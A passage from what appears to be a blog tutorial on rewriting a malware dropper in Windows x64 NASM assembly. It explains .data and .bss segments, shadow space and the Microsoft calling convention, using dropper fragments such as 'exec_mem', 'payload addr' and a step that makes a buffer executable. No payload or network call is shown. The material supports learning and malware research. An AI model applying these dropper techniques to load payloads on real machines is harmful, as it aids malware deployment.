&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;msg_hello&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="no"&gt;db&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;Hello&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;world&lt;/span&gt;&lt;span class="p"&gt;!&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xa&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;msg_exec_addr&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;db&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;exec_mem&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;addr&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;msg_pload_addr&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;db&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;payload&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;addr&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;msg_format&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;db&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;%&lt;/span&gt;&lt;span class="mi"&gt;-20&lt;/span&gt;&lt;span class="no"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;x&lt;/span&gt;&lt;span class="err"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;-016&lt;/span&gt;&lt;span class="no"&gt;p&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xa&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;msg_hit_me&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;db&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;Hit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;me&lt;/span&gt;&lt;span class="p"&gt;!&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xa&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;msg_format&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;msg_pload_addr&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;printf&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This is optional in C as you can pass data (like a string) directly to a function without adding it to a variable:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%-20s : 0x%-016p&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;payload addr&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%-20s : 0x%-016p&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;exec_mem addr&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;exec_mem&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;However, under the hood, the C compiler actually places these data on the &lt;code&gt;.data&lt;/code&gt; segment for you automatically. If you were to compile and run the C program you would see that the strings are in the &lt;code&gt;.data&lt;/code&gt; segment.&lt;/p&gt;
&lt;h2 id="uninitialized-data"&gt;Uninitialized data&lt;/h2&gt;
&lt;p&gt;Memory of certain sizes can be reserved so that it can be used later in a program. These unitialized data is declared not in a &lt;code&gt;.data&lt;/code&gt; segment but in a &lt;code&gt;.bss&lt;/code&gt; segment &lt;a href="https://en.wikipedia.org/wiki/.bss"&gt;(more here)&lt;/a&gt;.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;segment&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;.bss&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;exec_mem&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;resb&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;old_protect&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;resb&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Nasm provides specific "pseudo-instructions" for declaring unitialized data like &lt;code&gt;resb&lt;/code&gt; (reserve byte), &lt;code&gt;resw&lt;/code&gt; (reserve word), and so on. &lt;/p&gt;
&lt;p&gt;Alternatively, this can be written like this:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;segment&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;.bss&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;exec_mem&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="no"&gt;db&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;dup&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; Reserve 8 bytes of ? null value&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;old_protect&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dq&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; DQ = QWORD&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;It would still work but NASM doesn't like it and would throw a warning.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;dropper_data.asm:18:&lt;span class="w"&gt; &lt;/span&gt;warning:&lt;span class="w"&gt; &lt;/span&gt;attempt&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;initialize&lt;span class="w"&gt; &lt;/span&gt;memory&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;BSS&lt;span class="w"&gt; &lt;/span&gt;section&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;.bss&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;ignored&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;-w+other&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The memory for the uninitialized data won't be reserved until the program is loaded. Once it is, we can see the reserved memory in the &lt;code&gt;.data&lt;/code&gt; segment. &lt;/p&gt;
&lt;p&gt;Any data we move to the previously unitialized data can now be seen from a debugger. See below for an example:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;exec_mem&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; Move &amp;quot;000001F96E100000&amp;quot; to memory&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="converting-a-malware-dropper-to-x64-assembly-04" src="https://www.accidentalrebel.com/images/converting-a-malware-dropper-to-x64-assembly-04.png" /&gt;&lt;/p&gt;
&lt;h2 id="shadow-spaces"&gt;Shadow Spaces&lt;/h2&gt;
&lt;p&gt;When calling a function in x64 Windows assembly, programmers must keep in mind to reserve a "shadow space" before doing a &lt;code&gt;call&lt;/code&gt; to an external function that is in another language like C or C++. For example:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;    sub     rsp, 32 
    call    getchar
    add     rsp, 32
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;But what is a shadow space? &lt;a href="https://stackoverflow.com/questions/30190132/what-is-the-shadow-space-in-x64-assembly"&gt;Here&lt;/a&gt; is a quick explanation:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The shadow space is the mandatory 32 bytes (4x8 bytes) you must reserve for the called procedure. It just means you must provide 32 bytes on the stack before calling.&lt;/p&gt;
&lt;p&gt;It can be used by compilers to leave a copy of the register values on the stack for later inspection in the debugger. It is meant to be used to make debugging x64 easier.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;So in the code above, &lt;code&gt;sub rsp, 32&lt;/code&gt; reserves the shadow space before &lt;code&gt;getchar&lt;/code&gt; is called. The space on the stack is highlighted in the image below.&lt;/p&gt;
&lt;p&gt;&lt;img alt="converting-a-malware-dropper-to-x64-assembly-05" src="https://www.accidentalrebel.com/images/converting-a-malware-dropper-to-x64-assembly-05.png" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;call getchar&lt;/code&gt; then executes and the "shadow space" gets filled.&lt;/p&gt;
&lt;p&gt;&lt;img alt="converting-a-malware-dropper-to-x64-assembly-06" src="https://www.accidentalrebel.com/images/converting-a-malware-dropper-to-x64-assembly-06.png" /&gt;&lt;/p&gt;
&lt;p&gt;As the caller, we really do not care about the data that gets placed in the shadows space. So after calling the functions we do &lt;code&gt;add rsp, 32&lt;/code&gt; to reclaim the shadow space.&lt;/p&gt;
&lt;p&gt;You'll find out the importance of properly reserving and releasing a shadow space especially if you are relying on the stack for saving local variables. Here is a segment of the code where I found out first-hand the importance of handling the shadow space.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;;; I need rax for later so I pushed it on the stack&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;msg_hit_me&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;printf&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;;; printf was expecting a shadow space so it just wrote onto the stack, overwriting the value from RAX before&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;getchar&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;;; getchar did the same too&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;pop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;;; The value saved by rax is overwritten&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Simply handling the shadow space avoided this problem:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;msg_hit_me&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;;; shadow space is reserved&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;printf&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;;; printf can write to the stack without overwriting data that I need&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;;; shadow space is released&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;;; shadow space is reserved&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;getchar&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;;; same goes with getchar&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;;; shadow space is released&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;pop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;;; I got the correct value from rax that I pushed&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The above code can be further optimized by only releasing the shadow space after both call to &lt;code&gt;printf&lt;/code&gt; and &lt;code&gt;getchar&lt;/code&gt;, as shown below:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;msg_hit_me&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;;; shadow space is reserved&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;printf&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;;; printf can write to the stack without overwriting data that I need&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;getchar&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;;; same goes with getchar&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;;; shadow space is released&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;pop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;;; I got the correct value from rax that I pushed&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;However, there might come a time when the code will change and you might forget to re-add the code that releases and reserves the shadow space. This may lead to hard-to-find stack related problems. To avoid this, just make it a habit to reserve and release the shadow space every time an external function is called.&lt;/p&gt;
&lt;p&gt;As an alternative, you can use a routine that could reserve and release the shadow space automatically like the one below:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nl"&gt;shadow_call:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;pop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; Get the return address pointer in a non-volitile register&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; Add the shadow space&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; Call the function&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; Remove the shadow space&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; Go back to the stored instruction address&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;ret&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;To call the routine, just do this:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;getchar&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;shadow_call&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;But honestly, I think it's less complicated to just do the handling of shadow space yourself.&lt;/p&gt;
&lt;p&gt;Shadow spaces threw me off a bit when I was researching about this, but everything I said above should be enough of an explanation. If however you want more then go &lt;a href="https://retroscience.net/x64-assembly.html"&gt;here&lt;/a&gt; and then &lt;a href="https://devblogs.microsoft.com/oldnewthing/20160623-00/?p=93735"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="microsoft-x64-calling-convention"&gt;Microsoft x64 Calling Convention&lt;/h2&gt;
&lt;p&gt;It is also important to note that the calling convention for functions is different for Windows compared to other operating systems.&lt;/p&gt;
&lt;p&gt;As a quick reference, if you are going to pass parameters to a function you need to use registers &lt;code&gt;rcx&lt;/code&gt;, &lt;code&gt;rdx&lt;/code&gt;, &lt;code&gt;r8&lt;/code&gt;, and &lt;code&gt;r9&lt;/code&gt; for the first, second, third, and fourth parameters respectively.&lt;/p&gt;
&lt;p&gt;Here's an example from our code:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Make new buffer as executable&lt;/span&gt;
